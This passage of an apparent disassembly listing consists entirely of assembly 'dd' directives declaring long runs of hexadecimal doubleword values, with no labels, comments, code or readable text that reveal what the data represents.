		dd 0B7A0200h, 1695BF92h, 53193E33h, 405EAE9Fh, 1B356381h
		dd 0D2000652h, 0A21E2AC9h, 0EBDBF2h, 549C7D34h,	2011F050h
		dd 4B000E72h, 48B3AD6Bh, 2848F89h, 9DB22345h, 58602A5Ah
		dd 0CA009C25h, 2FA1888Ah, 0FCA61552h, 0DDD70406h, 803324F6h
		dd 363A0831h, 0B928AC00h, 0A7EC2E50h, 9B0C28B8h, 0A8380ED4h
		dd 5E2736F9h, 2EF610BBh, 58002FC1h, 285754B5h, 0E9F3AFh
		dd 0FFBD8F9Ch, 0FDC4A782h, 5811831Fh, 1B45A880h, 0B5F75Ah
		dd 0F4D40972h, 0D3D3368h, 0B7EAC050h, 71A4BA0Bh, 0CD20014Eh
		dd 0CC0AF92h, 79A300C5h, 12626FCAh, 9D00892Ah, 0B208F16Ch
		dd 572E6Eh, 9C598ACDh, 5E717965h, 0F04F2D07h, 0B4402AF7h
		dd 2784F2h, 6D07EBFFh, 1CAAC563h, 750C6600h, 938CBB1Bh
		dd 0D7912EFEh, 7BD80010h, 71142940h, 4FDDAA00h,	0EC302DFAh
		dd 0D2093015h, 0C72AD811h, 0C4C04Ch, 2F7B47E6h,	8588BCh
		dd 19F059Ch, 91EF5A0Fh,	2C272800h, 54A74CBBh, 174F1FA4h
		dd 731F40DFh, 7E876123h, 83537C3Dh, 66A499DCh, 0BB71B87Dh
		dd 0A9150768h, 73946157h, 0E7893736h, 9396C0E8h, 2890D429h
		dd 58ED07BCh, 6E3219F1h, 0C2848C5Dh, 0D0350EAFh, 0E80163C8h
		dd 0E4FD4FCAh, 46EED972h, 0F9795F01h, 3F7DF208h, 32C70h
		dd 0FE3F485h, 644977F1h, 0A1EE6100h, 0A776A20Eh, 329900CCh
		dd 0E8BF4EF4h, 7C005788h, 0A301A034h, 7E513BC9h, 6CD400B6h
		dd 79B53A48h, 9D01A929h, 2B8583CCh, 1C609AEBh, 91350B15h
		dd 3083D25Eh, 40801F49h, 0F1005BCFh, 6F0A46AAh,	0F27585E0h
		dd 0CC551FF8h, 0F92B4070h, 0AAD11DADh, 0CEBC7B06h, 0B895B2h
		dd 0F8D56BC2h, 0C84CDEA2h, 0F18E4B1Eh, 977800FDh, 0F0BDE701h
		dd 889056h, 91F80C6h, 2A1DC7Bh,	3A477C00h, 0D73BE4A2h
		dd 93760036h, 38F349EAh, 0C30FFAA6h, 0C0DBBF15h, 92140AE6h
		dd 5853262Ch, 0EBD30094h, 65ED0C09h, 0FCA058h, 988F44B3h
		dd 0B28E13h, 0E4EB4B66h, 394773D8h, 26175400h, 0E30BCC4Eh
		dd 112100F0h, 0A6DF1994h, 0EFEA05EDh, 91005D79h, 2A5F5736h
		dd 0E86C6B2Ch, 0CC650060h, 0ECB8AACEh, 0E000984Dh, 5934D0C1h
		dd 3B5B3071h, 0AB809EB1h, 20234875h, 0BC00AC0Dh, 9C76E6EEh
		dd 0B061BD93h, 0A4C30082h, 456A8B9Eh, 0E01429Fh, 7BF18272h
		dd 0D3CC2070h, 41C028F5h
		dd 1E1071ACh, 1F28EFFh,	61BC8817h, 0E8042175h, 2E00941Dh
		dd 0A1F1F484h, 0C15E3Ch, 0CB08B3B2h, 0B20E2B4h,	37001072h
		dd 0CD0F7F81h, 0DEB1FCh, 551287BFh, 0BCE7D23Ch,	663AC30Eh
		dd 2FB9A7E9h, 9FA726D0h, 0FAF1017Fh, 0ECD76D84h, 664AE8CCh
		dd 4348A600h, 0B87A74B9h, 0B4680762h, 7EECB26Ah, 0F40A8B60h
		dd 0C27AFF5Ah, 3FEDB11Ch, 0C095B700h, 5C1424h, 7E316FF0h
		dd 0D78DC7D0h, 0AF0083F2h, 2D105197h, 7A90418Ch, 59170C02h
		dd 1D0AD6Ch, 0D781B02h,	60578A5Bh, 926AA50h, 2EF4D7D2h
		dd 37E36000h, 99050E38h, 2C866367h, 31C3B880h, 125000FDh
		dd 0A3247A9Fh, 9A623DA4h, 80436BB6h, 0FACABCB0h, 8502001Dh
		dd 0CC7A4941h, 42000AB2h, 2E7CB31Bh, 99BDFDh, 968FF1A1h
		dd 0F080B6C1h, 6930900h, 1663C77Bh, 0AA940CCDh,	0CB2095E9h
		dd 7124B000h, 0FB792678h, 0DFE80050h, 5D616FB5h, 0E400A704h
		dd 0E0073BF8h, 0B0CC5F48h, 0B9200154h, 0DB185A16h, 0A5B8DCA3h
		dd 7D0FC80Fh, 20052BAh,	0B1D82B0Eh, 0E8FA1Eh, 4DC8F131h
		dd 62C29107h, 0C59A0F00h, 2AE35BEEh, 0BBDC1794h, 8740008Eh
		dd 0F4864117h, 0F8955009h, 34200077h, 1F07F2h, 0E2D90598h
		dd 5D631C61h, 8876EE00h, 1A1BD39Dh, 19A00E33h, 7F7EEDh
		dd 560C7F4Dh, 0AB00016Dh, 964821CBh, 0C20FDEh, 69F63EB1h
		dd 0BF98A619h, 5C3A8D24h, 356A80BBh, 0CC578F99h, 0EF718Bh
		dd 8AF9C3Fh, 9FD016CAh,	0B4A7B801h, 9C5D9AAh, 0FE3D74C4h
		dd 3798072Dh, 5079ED5Bh, 0B8F8FA94h, 0A4E4600h,	29C590A8h
		dd 7F38FADCh, 1A330086h, 7A2EE177h, 800016ECh, 0EF57531h
		dd 62D96Bh, 852D4086h, 4ED63987h, 44ECFB01h, 6A1A9EC2h
		dd 0AD1C343Ch, 3D694E6Dh, 6E9F3FC0h, 0B113E1EDh, 3800351Dh
		dd 571231ACh, 893E0013h, 9AB3B902h, 7F0907E6h, 4D8FCEh
		dd 69A4BF50h, 9B8D336Ah, 42D873C0h, 31F50F2h, 78005A61h
		dd 0CE6ABB92h, 0B2970058h, 8B451101h, 3C0FEC73h, 80ED7B08h
		dd 0B0142861h, 8669009Dh, 0BFC73D58h, 43009F1Ch, 9749C14Dh
		dd 1CDACE88h, 41A04540h, 103786F7h, 842030F0h, 0F8B82301h
		dd 72E848B5h, 0DBDCFC40h, 28E40053h, 81D89F94h,	9900FBFDh
		dd 0BDD346CAh, 6E5A63h,	3C23AC10h, 12CECB8Ah, 0F7FC4B06h
		dd 55801C4h, 0C91B93CAh, 0A018D073h, 0ED000AB8h, 68D18DE4h
		dd 0F8D94A1Ch, 5D0426C6h, 539E8058h, 98789DB5h,	6FE39000h
		dd 0B90D1DE8h, 5ED50036h, 0FB6E4455h, 6500EBEEh, 6D8386F6h
		dd 0EC42C118h, 4A3C0729h, 0D01CA964h, 9D03F299h, 0AB6E9300h
		dd 20D917ACh, 0DB140207h, 3CCC3080h, 6B096C58h,	2D2278h
		dd 0D2BAA862h, 1E9757Eh, 4A4370ECh, 0C892F4A6h,	9F012C13h
		dd 0B4598812h, 21D8FBC9h, 6A093C36h, 405E8712h,	249C0810h
		dd 3A0CCE05h, 69F00BFBh, 616002Ch, 83568229h, 45005DC2h
		dd 0D35188D4h, 1D69FC6Ah, 40EBD042h, 0B1845B62h, 480F7327h
		dd 0E0B46C2Ah, 333A93E2h, 0ECEF34E8h, 16DC4E0h,	490CA270h
		dd 5E3ED4CBh, 0A1AE4600h, 0C9C003B2h, 30CDFC2Ch, 0F88619Eh
		dd 0E800F6BBh, 986F569h, 0D9491Dh, 685728CFh, 0ADA70F58h
		dd 80D2373Ch, 39EBF084h, 0E08249AFh, 40DC0531h,	80C275BDh
		dd 89354373h, 920B44B2h, 80A8247Ch, 98EEDFFBh, 0B501EDEh
		dd 0A261C004h, 0C6F5882Dh, 56B6F200h, 0D3C98D1h, 30CA0092h
		dd 5355994Fh, 5018BF4h,	6E0347A2h, 0F060E278h, 85FE1DEAh
		dd 0F8D2C068h, 0C60FCEC9h, 0C52E610Bh, 0D9000383h, 9891D829h
		dd 4905012Ah, 4C4006C7h, 26E6h,	4475BA12h, 98A40809h, 0BB8B0029h
		dd 0D2ACB3B0h, 2824C1C0h, 401D8A2h, 86CC9074h, 8016219Dh
		dd 0CD51C52Dh, 6A38D5DDh, 748C092Eh, 530C00F1h,	2D42B1B6h
		dd 3C028E10h, 0FFE34919h, 24184BC8h, 9E3259C0h,	0C0DB51F9h
		dd 66843411h, 730946C1h, 20EDBEA6h, 5309393Ch, 0FAC02032h
		dd 92000D7Bh, 0C47A7D8Eh, 6162D3h, 78B46B8Ch, 9910E5E9h
		dd 9FCB22h, 0EFBB09DAh,	0ACFEE270h, 4FAEE318h, 3DB8BE48h
		dd 1E007D39h, 0D5729B7Ah, 2B2E8864h, 0FF01C0F8h, 8903FC06h
		dd 42DF3020h, 327CC7E4h, 36CAB3A1h, 0E2D2820h, 0FAA8A38h
		dd 59DB7A40h, 7B24D013h, 0BD148539h, 0FC2E00A0h, 2D8CA9C9h
		dd 0DB600F9h, 239F4911h, 57006083h, 4C641F71h, 7CF4A9DCh
		dd 443900BCh, 58A1203Ch, 0A393299h, 0E2A0F9B1h,	85B09CBEh
		dd 0C974F400h, 0CD1DD69Eh, 0F93E005Ch, 7A377778h, 0AFF0E57Bh
		dd 2832A300h, 342A29D4h, 0BC9500E2h, 2FF157FBh,	5EE026A1h
		dd 0B0E8CF2Ch, 80BD1000h, 0B058882h, 15E9C6D5h,	7A647820h
		dd 7138BECEh, 4161801Eh, 1E009D3h, 792B00B8h, 4052B235h
		dd 1E007537h, 0E75A334Dh, 0E2A4487h, 0B7D7E150h, 0F0C684A9h
		dd 1732C158h, 50121CD2h, 80471DAFh, 88E3B944h, 0AB0FD8DFh
		dd 60D9688Dh, 33738118h, 0C329000Ch, 0DAD1323h,	66004CB6h
		dd 4BC49F77h, 7EDFCE8h,	0BD8D114Eh, 316A1A6h, 19F4411Dh
		dd 0D440FE92h, 0DB00BF56h, 0CBE2DD4Dh, 0CD47EAh, 1FD993B9h
		dd 48E94C66h, 5E2CD898h, 0D0F4851h, 3F47475h, 27ABFC4Fh
		dd 8E29CF26h, 851FE0BCh, 0C93F20h, 277BBB8h, 0BE074E82h
		dd 0AB09910Bh, 0A87400A5h, 0FB7097ADh, 0AE17488Eh, 5AFDC8C0h
		dd 544C0E82h, 0AD6E0080h, 0F1347B92h, 0BD3A07AAh, 0A05548E6h
		dd 0A8EE0ED7h, 0DAFAD500h, 45FC945Dh, 0BC41005Ah, 0EA95E065h
		dd 0C003FA6h, 1E7B7307h, 209D54h, 0F580BEDDh, 7618E72Eh
		dd 0D46E2309h, 904400B6h, 2AF455B7h, 8CAD0Bh, 0DADBFED8h
		dd 0D69B87C0h, 0A2CEA600h, 33D5A34Ah, 4DC900F0h, 6EBDF353h
		dd 3B00DA9Ch, 2520A2CBh, 1F283835h, 0C0FBA548h,	2D510C99h
		dd 6D1C8BFAh, 0A0DD3D33h, 40908C0Eh, 1B31DB72h,	8298094Dh
		dd 4A97C10h, 92349781h,	0E7846071h, 0EC8CED0Eh,	0C040B23Dh
		dd 163546CBh, 5420C074h, 19B43141h, 993BA200h, 6179FBC5h
		dd 26CA2C30h, 49E1406Ch, 92001B7Ah, 1EFD4105h, 0B5D276Ch
		dd 0C31FE2FFh, 59B4CC21h, 12B830CBh, 782A180Fh,	8CF8A70Fh
		dd 98BE74F3h, 25B75h, 8F2DFAF7h, 0F8789E82h, 0D7F84779h
		dd 240DB000h, 0EC3D4845h, 23BD0758h, 704344F3h,	29D50EB5h
		dd 6500E070h, 977105EEh, 7A21B11h, 5FC0A9DDh, 44D5D008h
		dd 832FEE4Fh, 0A3342029h, 0E6A7D0h, 7D3BAE04h, 5AE9E592h
		dd 7800FCE0h, 0F8A3DD53h, 172C8CF2h, 7CEE401h, 0C01EBD90h
		dd 2DF4E6DCh, 0DD07730Ah, 7A00F0F3h, 229C8705h,	4551002Ah
		dd 583DFBB5h, 5D00C962h, 7EE1F038h, 1DABE1Ch, 0A5DB672Bh
		dd 30515FC7h, 75033258h, 96915421h, 5762A865h, 4CA30B18h
		dd 8020C127h, 0B19B2981h, 1BB6A607h, 1160CC3Eh,	0C5942D6Ah
		dd 0B0DEF220h, 16764124h, 3AADCF3Ah, 0B0A90C6Eh, 5A10A82Dh
		dd 0B64EC96h, 5E1A9Ch, 8EF5839h, 0E05009Ah, 0C97FE4ABh
		dd 45183CF0h, 851CC56h,	80184AD4h, 0F4241B94h, 0B5C11700h
		dd 0A87795ECh, 9B9D004Ch, 273035BFh, 4B3ABCDDh,	4EF400CEh
		dd 0D84CA218h, 8141C019h, 0BEB1CD04h, 43ACB60Eh, 5D26805Ch
		dd 74B09658h, 10DC0075h, 0D64EB535h, 8B7EE6A4h,	99FED10Fh
		dd 38932003h, 0B8F01C12h, 0E5C50041h, 0E3118D19h, 8C07D3CBh
		dd 50ED6FAEh, 0A5A059F7h, 0EFD702h, 0EA920F20h,	39B10C13h
		dd 3F00A9FAh, 70C89553h, 1E67A00Bh, 4725DF8Ah, 103EE054h
		dd 806A2866h
		dd 75F4CFFAh, 1BA66900h, 0A8C6D9ADh, 8B1900AEh,	129D0814h
		dd 0C5005C44h, 8D59424Bh, 0EA979h, 0F54E24C8h, 290BE940h
		dd 0C4294DF8h, 43750428h, 0AF910A25h, 4C98F0FAh, 0C01A0F8h
		dd 75F8691Bh, 99C94791h, 0E77ADCh, 0ECFAD02Fh, 0A1C4554Ch
		dd 67A31218h, 88492528h, 3088E9A8h, 0F19C884Dh,	485951C4h
		dd 0F422EA22h, 0FE3E214Fh, 10CD0268h, 7889B60Bh, 0C5F7D910h
		dd 6D386300h, 1A5279DCh, 0EE1B1F6Ah, 0C76B4060h, 0EBC00344h
		dd 81512E00h, 1B671885h, 60B1003Bh, 5AFA082h, 4100B00Dh
		dd 0D4BDFFE3h, 7C63BAh,	6580F006h, 6B118927h, 999A970Fh
		dd 3380FC72h, 0F832D196h, 9FA300B5h, 0C5403B66h, 0FF0063CDh
		dd 0B3708E3Dh, 0F28A0504h, 24560050h, 0D05452DCh, 4C01921Ah
		dd 659D9F37h, 39303FBCh, 2CCA004Bh, 0CEBDFD91h,	800078EFh
		dd 0B6D9FEBBh, 3A02DA44h, 27040634h, 913292A6h,	0EC100E6Ch
		dd 6F00E10Dh, 0CE7E4334h, 0C70335h, 669778ECh, 794096Ah
		dd 0F8F63900h, 0FC6943BEh, 93A0092Dh, 5380D680h, 0C9493360h
		dd 0BF00797Ah, 781886Ch, 0B705ADh, 19E6D815h, 0ECB7576h
		dd 0C9410600h, 342D9242h, 0BD35041Bh, 90B594EAh, 0C2626924h
		dd 933DEB05h, 0A0016DA0h, 7F34DD66h, 2FD99440h,	52580007h
		dd 6C19AB17h, 0D3005D83h, 0EF60C423h, 0EB64BEDh, 0A1F637C5h
		dd 0E7530A60h, 0D000563Ch, 54DE39A5h, 0D21751h,	0DDFDC284h
		dd 0FEC9D21h, 0C8B81100h, 751C8EBCh, 0A73E0057h, 18CED547h
		dd 300141AAh, 86C15453h, 82D57EA4h, 7326670h, 0A9A79C1Bh
		dd 0D2E44149h, 0E3796034h, 0A45ABF01h, 0E86BE5BCh, 0AADC6FC5h
		dd 0CD271F68h, 2B2E84FAh, 0F63CC0F2h, 233D3157h, 4FCCD006h
		dd 0B3E9191Dh, 95BAFDC1h, 9ACC46E3h, 31B20068h,	0C0D975E7h
		dd 60E3E1ECh, 8300D800h, 6CD23E98h, 1E0447FEh, 0A94BBFh
		dd 46ACEB4Fh, 6E007D6Fh, 2AE165AFh, 0D469BAh, 431C0ADh
		dd 6AE62156h, 9D0FFF12h, 94B60300h, 0D466803h, 0D75262CCh
		dd 75E4F421h, 0E8132F00h, 15C0BC35h, 0FE1B00AAh, 6478C911h
		dd 0D407BF8Eh, 0E7A04929h, 34923FC4h, 0E8444BEh, 5BB360D0h
		dd 832D13A0h, 0CD005316h, 76C291E1h, 0E2D970AEh, 5644001Dh
		dd 5169B8FBh, 3A01C654h, 86E2F3F5h, 28806DCAh, 791E2BF7h
		dd 741F9088h, 1802F5Dh,	0CF8B7A07h, 5928019Bh, 7F843D23h
		dd 1194CCADh, 0BFB59100h, 0CD721C96h, 9C5617A5h, 0C08E185Bh
		dd 4903EEABh, 4C0BEC9Bh, 0C07A038h, 33EB03B0h, 15FAA07Dh
		dd 6FFDC0BFh, 3D01EDF5h, 0C4E913D4h, 59F028C3h,	0AF1D00A6h
		dd 524FDDC6h, 7B078A37h, 18B02E16h, 0F6D41AE0h,	0E1A40009h
		dd 9F3288E0h, 7400DFADh, 725C4F9h, 76C17Dh, 72014AA9h
		dd 2D898C30h, 0B49E9D00h, 0C92073D1h, 6A9B0183h, 28339399h
		dd 0FB1FCCD3h, 0E67DC000h, 0FD691808h, 71460023h, 2E25870Fh
		dd 9448EE41h, 83DF0780h, 0FA91917h, 9AA4006Dh, 139D7Ah
		dd 96EFAFD3h, 0B1910E7Fh, 580A4Ch, 82DF07F5h, 7B70A03Eh
		dd 78640F04h, 0ED096F3Dh, 2F063880h, 0A4034ABDh, 74447B7h
		dd 0D260E8ECh, 0CED80008h, 0C216A2C6h, 673A8AFFh, 7A1D0721h
		dd 0C08F234Dh, 16FC9D5Ah, 55A8003Bh, 20E4CC52h,	9107D02Eh
		dd 58A939D6h, 2B16B860h, 0B23600CBh, 7E96C5A7h,	76000DB0h
		dd 5BCDEC4Fh, 3B385Fh, 0D8E38FC2h, 71DBAE01h, 2ACA1600h
		dd 6480CEBCh, 0C63B05B3h, 0B6C491h, 7D978CDBh, 8B001D4Eh
		dd 0A79B94Dh, 9C7AA5Eh,	0E0DBF9E2h, 0C0E84884h,	20083303h
		dd 24C9EE3Fh, 7BDB409h,	362FBA87h, 0A1FC5060h, 151B0060h
		dd 0CB4CF6A7h, 2958F49Ch, 3D0C000Ch, 8E330F80h,	0BFE82C0Dh
		dd 0DDD60410h, 92C0C810h, 660086E0h, 0F7CF3C7Dh, 0CEE7F5h
		dd 105861E8h, 4F6E65C5h, 5D0AD300h, 1A21B45Fh, 757900ABh
		dd 0B9109CADh, 0E00B31D0h, 0C0C2D423h, 3123D4Dh, 0F206394Bh
		dd 0DE8875Fh, 0DE3C9693h, 1D148016h, 7D6E0B94h,	0BEAF28C7h
		dd 2F700EEh, 0CA42CC2Fh, 0E1188760h, 8944CE73h,	389100EBh
		dd 9F592011h, 53004D8Eh, 0BAD0F577h, 31EF740h, 29FDB151h
		dd 34D83F5Eh, 4DE4D16Eh, 0F9A4C200h, 0FEF41DEAh, 9E000B3h
		dd 2543EFDCh, 1300CBDAh, 0AF8B915Fh, 46CC61Eh, 0E6FF0768h
		dd 0AC44D093h, 5890D80Bh, 21E2BE07h, 6103C0Ch, 0B07966h
		dd 99B483EFh, 0FDE67797h, 0B9443600h, 0BB5AFFD3h, 6860FB1Ah
		dd 0CE50002Ch, 0C5E8813Dh, 0B9E84475h, 8F7ABB09h, 0FF0080EDh
		dd 1946F83h, 0C8918D3Eh, 9D63EE4Ah, 0AEC009FCh,	2B619AFFh
		dd 501412EBh, 3B101C1Eh, 8031F19Dh, 0ECB88F88h,	40008719h
		dd 753DBC5Dh, 3FA5CF10h, 5C9808F2h, 89FA110Ch, 0A204E500h
		dd 4CAD9BF6h, 0C4A8A078h, 105D13B8h, 449C0F09h,	0CE9EDE20h
		dd 0FB7FE46Ah, 96A2B201h, 0C85CA02Ah, 0E53EECh,	59BF0E13h
		dd 0C332A419h, 48F41C00h, 6CD37EBh, 75E30C0Fh, 3278D183h
		dd 68C958h, 341F86D2h, 34C7BF8h, 1A05C40Dh, 96C00157h
		dd 0D100AD74h, 0B5765B16h, 0C2F471h, 0D477037Dh, 640DB9F7h
		dd 5300A7FCh, 9EB5A885h, 0DD5511h, 0A3A42DC4h, 0F3945D18h
		dd 0FB48D900h, 52393A57h, 68331C8h, 6067BFD8h, 4D00CA8Eh
		dd 5DEA451Ch, 45508AFh,	0D61A18D2h, 0D9A08079h,	1B003530h
		dd 8DD1B35Fh, 744FAD5Dh, 48B00095h, 0B64082B9h,	602C385Ch
		dd 0D500707Fh, 0BEADDAD1h, 39830F8Ah, 6920D617h, 57EE99CCh
		dd 9E0138E8h, 628A74AAh, 3EE0A795h, 467C9Fh, 596590BCh
		dd 6AC4AC1h, 441860E5h,	0A7EC1F00h, 78671385h, 0C2DE5C7Ch
		dd 0B687D502h, 2742BFC6h, 6DD10067h, 1C12AA18h,	6305E87Bh
		dd 88C0A47Fh, 3E335079h, 0AB870F40h, 31ED830Ah,	3007CBD8h
		dd 4B00426Dh, 3F68670Dh, 36DBFBBh, 4AE9448h, 0F5D88D22h
		dd 1D00CCB5h, 85CD6591h, 2E5F419h, 3FB68BE1h, 1CC06607h
		dd 8000338h, 14BBC606h,	1D9B7E9h, 28C4635Ah, 0CCA57030h
		dd 0E50FEC57h, 407AE8D7h, 16932614h, 7DF0B736h,	4CC4Ch
		dd 8AFCCF19h, 0EC6F3E0h, 0D37E3F0Dh, 46159160h,	0FB020758h
		dd 4BFEBB7Fh, 12C58C4h,	5A7ADC77h, 0E02D4EEDh, 23E7F83h
		dd 67BB00E0h, 0AC5DB57Ch, 2D47FB3h, 52891F4Ah, 6CCB9354h
		dd 6C4D81F8h, 0BF69DD3Bh, 1403FDF9h, 23A239CAh,	0C178A940h
		dd 3AB020h, 0CE6E30DAh,	8CF509A6h, 81074D07h, 842912E9h
		dd 48C0034Eh, 0DBEEFEh,	2D1FC470h, 0F20CFF63h, 0D0BAE900h
		dd 341EBBCEh, 3E960328h, 585E4406h, 0AFCC99F0h,	0E4076D00h
		dd 0BFAB9F05h, 225D0012h, 7624F8FAh, 0EF00648Fh, 44D51592h
		dd 73991DACh, 0F95F00CDh, 5B78618Dh, 70EEE87Eh,	789CA00h
		dd 1D5EE4E7h, 1F99007Bh, 95EB8166h, 0E590174Fh,	64344500h
		dd 1D152D76h, 8FC00071h, 0C185B9E6h, 6900B412h,	0F343CFF4h
		dd 1E27C2A1h, 0FFB0998h, 803DC6BBh, 0A0F66A47h,	1487846h
		dd 58F200A1h, 56BFFC3Bh, 1849607Eh, 0B39A7044h,	0E7A858h
		dd 0D24BD4E6h, 0C81BADh, 68BEC542h, 0ACE714BFh,	0D9EAC400h
		dd 15BC13E1h, 8E3E3E3Ch, 816B529Ch, 0B8390E51h,	0DFBB30DCh
		dd 0DE045F00h, 6C80BAB9h, 0F388001Fh, 0B8EAF765h, 0C4025430h
		dd 1BA50E0Bh, 0FBC0C04Eh, 3293003Ah, 682A7286h,	5B264039h
		dd 803EE9D2h, 662147B6h, 7EFB7DF6h, 0E8E2613Bh,	0E4B5C1B0h
		dd 38008FA4h, 19522BB2h, 0E5430Dh, 76CB9733h, 5145911h
		dd 0C05A6600h, 3048BE09h
		dd 0ACA000ABh, 0E6B4B690h, 58B8F20Dh, 1EEF2338h, 0F6802F6Ch
		dd 1488A21Ch, 0D43C01D8h, 9E7FC39Ch, 9F9820E1h,	0F79B3600h
		dd 0D286744Eh, 78A5001Eh, 4CB866FEh, 960029BDh,	4FC2FB3Dh
		dd 486DD87Bh, 91005553h, 9BFAFE0Ah, 0C83FBB38h,	7E660085h
		dd 0CE06AD7h, 563D13FBh, 8D48059Dh, 0A9A08C73h,	78C7F48h
		dd 94671019h, 0A005ADC3h, 1C1C68BFh, 1E7285C4h,	78F9C06Fh
		dd 74EE3D23h, 0B5E94800h, 0CBF3548Ch, 3659C04Ch, 7E8EF961h
		dd 51006F7Bh, 0ABCE7BE8h, 1CBBA4C9h, 5D387Fh, 0B0F61D4Fh
		dd 0D771C7B8h, 7BCF5F12h, 63210600h, 3172D4h, 964BA92Fh
		dd 0D33E15CBh, 0E35CB500h, 28A16691h, 41C007E9h, 0A71B4E6Eh
		dd 0F8C6001Ah, 2938F1DCh, 0C9BF0025h, 0AACA3A16h, 733E07CDh
		dd 43BADA88h, 0C490212Ch, 0B97C5129h, 50C67800h, 196BE441h
		dd 0F2FA07EBh, 9001A5CEh, 63D12784h, 548D3F00h,	0EB5FBE4Fh
		dd 787FF888h, 1CB00047h, 0B1DDBBA6h, 90027C9h, 0BE2D02A3h
		dd 2EF40Dh, 248736EBh, 1CFF8528h, 0A4510903h, 0B9D4AFDEh
		dd 42E0153Dh, 0EE9E00F3h, 0E744A98Eh, 0E6000C70h, 0D7AB045Bh
		dd 409C33Eh, 0B627C87Ah, 747CC18Ah, 233020D4h, 6DA6E400h
		dd 5AF456AEh, 437D0083h, 41C258EAh, 1300548Fh, 0DBDE871Dh
		dd 0FA074224h, 8CD01D3Dh, 9F3C24B3h, 9BB04027h,	8A7C637Fh
		dd 66552F03h, 89218C30h, 3C3C89F3h, 0D8E93A00h,	0B2AFB654h
		dd 460BA71Ch, 0EFA91400h, 0ECA5E2Ch, 0B342947Ah, 0DF82E48Fh
		dd 24E09843h, 5F128AB7h, 2C40A663h, 2D9B806Ah, 920F9CCh
		dd 0A99A03E3h, 0A3AB66B8h, 0ECEC7A99h, 0A01F47FEh, 26876CE7h
		dd 0B2B24D8Dh, 0E6F87129h, 47006879h, 0ED13CDB0h, 367475h
		dd 8ECED41Eh, 3015B169h, 240058B0h, 0F4AE7EC3h,	5C7A85BAh
		dd 0A100A05Fh, 5908746Eh, 64011679h, 0A82B4B1Ah, 6BF0BFEEh
		dd 7C221814h, 0E12D213Dh, 0F8F7CE00h, 0BC37B590h, 5209043h
		dd 0DB3BF1B2h, 9DCC0AFh, 7800B004h, 83EFAB5Fh, 91BBB7h
		dd 0AD383CE9h, 3557C5DAh, 0D9F7F4F2h, 0AB64F8CDh, 0E3B44A07h
		dd 5FE1D925h, 1072AFC2h, 0A7141D00h, 0B3C0A08h,	87E35427h
		dd 1A105C8Ch, 94EAC5Fh,	7E7F6E2Fh, 88037A80h, 8000A9C7h
		dd 0BCDD69EAh, 0E0180Ah, 0B437208h, 0E83D2A4Fh,	462E5300h
		dd 0A4BB9DECh, 3178120Ah, 0E208016Ah, 364B637h,	9968E023h
		dd 0F38D00DAh, 9F0D4EB8h, 451EB4F2h, 0F0260A30h, 710EAA00h
		dd 7AFF52h, 0DE782BCDh,	0BB8B2EB8h, 65004CF4h, 4A114367h
		dd 3F02F7h, 0B67D6696h,	29FB2158h, 0C20DCC00h, 0B11373E4h
		dd 45F80084h, 9432C712h, 70074E7h, 48CEB605h, 30784D2Bh
		dd 0B040D397h, 9900CF91h, 0E75E1120h, 254F2582h, 3B0F298Bh
		dd 0A865B5E3h, 0CED94580h, 0AD313000h, 843BE6CFh, 0D5730364h
		dd 5974C42h, 0C0FE7FEFh, 10C32F09h, 2CE421DEh, 0CA4D25F8h
		dd 0E7F1F74h, 40AFD2CFh, 0FC3DD47Ah, 0E9FE0E1Ah, 53A7EDCAh
		dd 1E402051h, 5D302D9Ch, 694AD8CDh, 0F71500B9h,	92B4E9E6h
		dd 8A0135AAh, 6DA7C3Ah,	84280C0Dh, 2C894D00h, 15979CE1h
		dd 5D9F5E2Ch, 0FAA7200h, 5DF71359h, 0C401446Dh,	0DCC5765Bh
		dd 0D0F2C1F4h, 8305011Ch, 0D30AD5DAh, 10432802h, 49CE8E1h
		dd 0BE670EB6h, 0CF80CB12h, 48AF52E2h, 15068401h, 612710F2h
		dd 0C8FEA3D7h, 9D7FA1h,	9B1628C2h, 0C4CB4D68h, 27D0CB0h
		dd 2CDB4228h, 680D9C06h, 5C380CBDh, 7100BA22h, 77487329h
		dd 4100620Bh, 0F803E290h, 73670h, 2B34F11Ah, 98B608D0h
		dd 0F954D100h, 0C02FC4E7h, 5C9807h, 0EDF131F3h,	2778E992h
		dd 6F87E607h, 6CE0ADDBh, 73F9151h, 9D7E118Fh, 0B20B00BCh
		dd 8700699Bh, 2C537C93h, 1D27B98h, 0D841511h, 0C0C0925Bh
		dd 4E5E3163h, 76C4702Ah, 4E0C9016h, 0A1008618h,	62146DACh
		dd 34AA217h, 6F884484h,	4EE0BA8Bh, 0AC5169EFh, 0FCE0FBB8h
		dd 80F8BFD4h, 5D057E0Ah, 0FA0E2C21h, 51780C10h,	1557225Ch
		dd 7665D60Ch, 2A9CC12Ah, 0A4961Eh, 0D84775E0h, 0A071F84Fh
		dd 729F4C00h, 8B6AB3D9h, 408627C0h, 8A502807h, 3841160h
		dd 0CCF4039Ch, 0F718004Ch, 6505DEBBh, 0F80A680Ah, 701662F2h
		dd 7E090B40h, 96223C84h, 75920E38h, 5E000CDAh, 44889FE8h
		dd 0D6500C7h, 265C06D2h, 75227493h, 0A36038E1h,	4C8CF814h
		dd 521B10C0h, 0CF4CB76Ch, 0C1611885h, 68487AA9h, 394C9F4h
		dd 0FC75E5D2h, 150CA8AEh, 387CB814h, 724D18DEh,	0D97518E7h
		dd 0BFBDCA8h, 2B7C2300h, 7442DEF0h, 9A0D0053h, 0D819D66Ah
		dd 0D900E041h, 7B6DBB2Dh, 91FC068Eh, 34800B8h, 0C8C21105h
		dd 0AA07A807h, 0B246A922h, 0FB692421h, 0EC471C05h, 0A1A001D2h
		dd 8C395013h, 0B855FF90h, 0F329096Ah, 0D02008EFh, 0F14CDFA4h
		dd 88C4DC2Eh, 845B4209h, 4D07B638h, 0F44CA0C6h,	69DF227Fh
		dd 1BE4CF28h, 0F678EE00h, 9D58C3F7h, 55CE01BEh,	0DF623572h
		dd 801821C0h, 0C36B8D31h, 0A8C875D6h, 0E15ADA4h, 5948FC9Ch
		dd 0C756E1A3h, 21BA0831h, 2F205D8Fh, 4C6B00BFh,	0A3C5C005h
		dd 340037EEh, 0B813F262h, 77847Dh, 0C6C1AA0Dh, 8FEF7FDCh
		dd 7078BF6Ch, 7B764359h, 4F293290h, 0BF113821h,	9C329600h
		dd 5544E6CEh, 0D3D20B00h, 8C3E9956h, 0CFB902B2h, 0DAFD2981h
		dd 4FF19C98h, 34517F79h, 9D9C0898h, 0E6598488h,	7D5C009Ah
		dd 0F75D7F8h, 4E77C296h, 1A1738h, 0FF28E393h, 0DF8EBDh
		dd 0E8376DE5h, 60701BF1h, 0EE22D200h, 2DBA9AC2h, 0CA520097h
